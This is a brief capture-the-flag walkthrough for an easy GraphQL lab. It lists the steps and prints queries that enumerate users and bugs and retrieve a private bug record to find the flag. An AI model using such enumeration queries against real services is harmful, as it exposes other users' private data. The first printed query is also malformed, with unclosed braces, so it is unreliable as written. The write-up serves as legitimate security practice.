
#### Skills: Web, GraphQL
#### Difficulty: Easy
------------------------------------------------------------------------
### Steps
1.  open the docs to find the schema
2.  open all the schemas as far as possible. `AllUsers` and `AllBugs`
    look interesting to query
3.  query `AllUsers`
4.  see users `victim` and `admin` and their given bugs
5.  do query for everything in `All Bugs` as well
6.  notice the private node
7.  query `findBug` given the node value
8.  After some trial and error (breaking down everyend point as far as
    possible) I ended up querying `user`
9.  Flag found
```{=html}
<!-- -->
```
    query{
        allUsers{
            pageInfo{
                hasNextPage{
                hasPreviousPage{
            },
            edges{
                node{
                    id,
                    username
                }
            },
        }
    }
Step 3
    {
      allBugs {
        edges {
          node {
            id
            reporterId
            private
            reporter {
              id
            }
          }
        }
      }
      user {
        edges {
          node {
            id
            username
            bugs {
              edges {
                node {
                  id
                  reporterId
                  private
                  text
                  reporter {
                    id
                  }
                }
              }
            }
          }
        }
      }
    }
final query for flag